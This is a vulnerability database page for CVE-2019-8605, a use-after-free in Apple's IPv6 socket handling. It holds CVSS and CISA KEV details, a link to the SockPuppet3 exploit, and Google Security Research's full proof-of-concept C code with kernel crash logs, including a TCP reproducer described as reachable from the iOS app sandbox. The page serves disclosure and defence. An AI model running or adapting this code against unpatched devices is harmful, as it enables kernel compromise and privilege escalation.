CVE-2019-8605 : Detail

CVE-2019-8605

7.8
/
High
Memory Corruption
11.07%V4
Local
2019-12-18
17h33 +00:00
2025-01-29
17h40 +00:00
CVE.org
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CVE Descriptions

A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. A malicious application may be able to execute arbitrary code with system privileges.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apple Multiple Products Use-After-Free Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-26 22h00 +00:00

Action is due : 2022-07-17 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47409

Publication date : 2019-09-22 22h00 +00:00
Author : Umang Raghuvanshi
EDB Verified : No

Exploit Title: SockPuppet 3 Date: September 8, 2019 Exploit Author: Umang Raghuvanshi Vendor Homepage: https://apple.com Software Link: https://ipsw.me/ Version: iOS 11.0—12.2, iOS 12.4 Tested on: iOS 11.0—12.2, iOS 12.4 CVE: CVE-2019-8605 This is an alternative (and complete) exploit for CVE-2019-8605. I have only implemented the exploit and do not claim any rights for discovering and/or publishing the vulnerability. The actual exploit code is in “SockPuppet3.cpp”, other files are either helpers or documentation. This exploit [1] has already been verified in production several times [2] [3], however, I can assist in additional verification if required. POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47409.zip [1] https://gist.github.com/ur0/a9b2d8088479a70665f729c4e9bf8720 [2] https://twitter.com/Pwn20wnd/status/1163392040073191426 [3] https://twitter.com/electra_team/status/1163658714840047618
Exploit Database EDB-ID : 46892

Publication date : 2019-05-20 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

# Reproduction Repros on 10.14.3 when run as root. It may need multiple tries to trigger. $ clang -o in6_selectsrc in6_selectsrc.cc $ while 1; do sudo ./in6_selectsrc; done res0: 3 res1: 0 res1.5: -1 // failure expected here res2: 0 done ... [crash] # Explanation The following snippet is taken from in6_pcbdetach: ``` void in6_pcbdetach(struct inpcb *inp) { // ... if (!(so->so_flags & SOF_PCBCLEARING)) { struct ip_moptions *imo; struct ip6_moptions *im6o; inp->inp_vflag = 0; if (inp->in6p_options != NULL) { m_freem(inp->in6p_options); inp->in6p_options = NULL; // <- good } ip6_freepcbopts(inp->in6p_outputopts); // <- bad ROUTE_RELEASE(&inp->in6p_route); // free IPv4 related resources in case of mapped addr if (inp->inp_options != NULL) { (void) m_free(inp->inp_options); // <- good inp->inp_options = NULL; } ``` Notice that freed options must also be cleared so they are not accidentally reused. This can happen when a socket is disconnected and reconnected without being destroyed. In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be used after they are freed. This specific PoC requires root because I use raw sockets, but it's possible other socket types suffer from this same vulnerability. # Crash Log panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers: CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0 RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000 RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001 R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000 R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000 RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0 Backtrace (CPU 4), Frame : Return Address 0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa 0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63 0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d 0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114 0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75 0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284 0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f 0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16 BSD process name corresponding to current thread: in6_selectsrc Boot args: keepsyms=1 -v=1 Mac OS version: 18D109 #include <stdio.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <unistd.h> #include <net/if.h> #include <string.h> #include <netinet/in.h> #include <errno.h> /* # Reproduction Repros on 10.14.3 when run as root. It may need multiple tries to trigger. $ clang -o in6_selectsrc in6_selectsrc.cc $ while 1; do sudo ./in6_selectsrc; done res0: 3 res1: 0 res1.5: -1 // failure expected here res2: 0 done ... [crash] # Explanation The following snippet is taken from in6_pcbdetach: ``` void in6_pcbdetach(struct inpcb *inp) { // ... if (!(so->so_flags & SOF_PCBCLEARING)) { struct ip_moptions *imo; struct ip6_moptions *im6o; inp->inp_vflag = 0; if (inp->in6p_options != NULL) { m_freem(inp->in6p_options); inp->in6p_options = NULL; // <- good } ip6_freepcbopts(inp->in6p_outputopts); // <- bad ROUTE_RELEASE(&inp->in6p_route); // free IPv4 related resources in case of mapped addr if (inp->inp_options != NULL) { (void) m_free(inp->inp_options); // <- good inp->inp_options = NULL; } ``` Notice that freed options must also be cleared so they are not accidentally reused. This can happen when a socket is disconnected and reconnected without being destroyed. In the inp->in6p_outputopts case, the options are freed but not cleared, so they can be used after they are freed. This specific PoC requires root because I use raw sockets, but it's possible other socket types suffer from this same vulnerability. # Crash Log panic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers: CR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0 RAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000 RSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001 R8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000 R12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000 RFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010 Fault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0 Backtrace (CPU 4), Frame : Return Address 0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d 0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153 0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa 0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197 0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63 0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d 0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0 0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114 0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75 0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284 0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f 0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b 0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16 BSD process name corresponding to current thread: in6_selectsrc Boot args: keepsyms=1 -v=1 Mac OS version: 18D109 */ #define IPPROTO_IP 0 #define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 } #define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 } int main() { int s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP); printf("res0: %d\n", s); struct sockaddr_in6 sa1 = { .sin6_len = sizeof(struct sockaddr_in6), .sin6_family = AF_INET6, .sin6_port = 65000, .sin6_flowinfo = 3, .sin6_addr = IN6_ADDR_LOOPBACK, .sin6_scope_id = 0, }; struct sockaddr_in6 sa2 = { .sin6_len = sizeof(struct sockaddr_in6), .sin6_family = AF_INET6, .sin6_port = 65001, .sin6_flowinfo = 3, .sin6_addr = IN6_ADDR_ANY, .sin6_scope_id = 0, }; int res = connect(s, (const sockaddr*)&sa1, sizeof(sa1)); printf("res1: %d\n", res); unsigned char buffer[4] = {}; res = setsockopt(s, 41, 50, buffer, sizeof(buffer)); printf("res1.5: %d\n", res); res = connect(s, (const sockaddr*)&sa2, sizeof(sa2)); printf("res2: %d\n", res); close(s); printf("done\n"); } ClusterFuzz found the following crash, which indicates that TCP sockets may be affected as well. ==16571==ERROR: AddressSanitizer: heap-use-after-free on address 0x610000000c50 at pc 0x7f15a39744c0 bp 0x7ffd72521250 sp 0x7ffd72521248 READ of size 8 at 0x610000000c50 thread T0 SCARINESS: 51 (8-byte-read-heap-use-after-free) #0 0x7f15a39744bf in ip6_getpcbopt /src/bsd/netinet6/ip6_output.c:3140:25 #1 0x7f15a3970cb2 in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2924:13 #2 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12 #3 0x7f15a344680c in sogetoptlock /src/bsd/kern/uipc_socket.c:5512:12 #4 0x7f15a346ea86 in getsockopt /src/bsd/kern/uipc_syscalls.c:2517:10 0x610000000c50 is located 16 bytes inside of 192-byte region [0x610000000c40,0x610000000d00) freed by thread T0 here: #0 0x497a3d in free _asan_rtl_:3 #1 0x7f15a392329d in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3 #2 0x7f15a38733c7 in tcp_close /src/bsd/netinet/tcp_subr.c:1591:3 #3 0x7f15a3898159 in tcp_usr_disconnect /src/bsd/netinet/tcp_usrreq.c:743:7 #4 0x7f15a34323df in sodisconnectxlocked /src/bsd/kern/uipc_socket.c:1821:10 #5 0x7f15a34324c5 in sodisconnectx /src/bsd/kern/uipc_socket.c:1839:10 #6 0x7f15a34643e8 in disconnectx_nocancel /src/bsd/kern/uipc_syscalls.c:1136:10 previously allocated by thread T0 here: #0 0x497cbd in __interceptor_malloc _asan_rtl_:3 #1 0x7f15a3a28f28 in __MALLOC /src/fuzzing/zalloc.c:63:10 #2 0x7f15a3973cf5 in ip6_pcbopt /src/bsd/netinet6/ip6_output.c:3116:9 #3 0x7f15a397193b in ip6_ctloutput /src/bsd/netinet6/ip6_output.c:2637:13 #4 0x7f15a389e3ac in tcp_ctloutput /src/bsd/netinet/tcp_usrreq.c:1906:12 #5 0x7f15a3440614 in sosetoptlock /src/bsd/kern/uipc_socket.c:4808:12 #6 0x7f15a346e45c in setsockopt /src/bsd/kern/uipc_syscalls.c:2461:10 #include <stdio.h> #include <unistd.h> #include <netinet/in.h> /* TCP-based reproducer for CVE-2019-8605 This has the benefit of being reachable from the app sandbox on iOS 12.2. */ #define IPV6_3542PKTINFO 46 int main() { int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP); printf("res0: %d\n", s); unsigned char buffer[1] = {'\xaa'}; int res = setsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, sizeof(buffer)); printf("res1: %d\n", res); res = disconnectx(s, 0, 0); printf("res2: %d\n", res); socklen_t buffer_len = sizeof(buffer); res = getsockopt(s, IPPROTO_IPV6, IPV6_3542PKTINFO, buffer, &buffer_len); printf("res3: %d\n", res); printf("got %d\n", buffer[0]); close(s); printf("done\n"); } It seems that this TCP testcase I've posted works nicely for UaF reads, but getting a write isn't straightforward because calling disconnectx explicitly makes subsequent setsockopt and connect/bind/accept/etc. calls fail because the socket is marked as disconnected. But there is still hope. PR_CONNREQUIRED is marked for TCP6, which means we may be able to connect twice (forcing a disconnect during the second connection) using the same TCP6 socket and have a similar situation to the original crash.

Products Mentioned

Configuraton 0

Apple>>Iphone_os >> Version To (excluding) 12.3

Apple>>Mac_os_x >> Version To (excluding) 10.14.5

Apple>>Tvos >> Version To (excluding) 12.3

Apple>>Watchos >> Version To (excluding) 5.2.1

References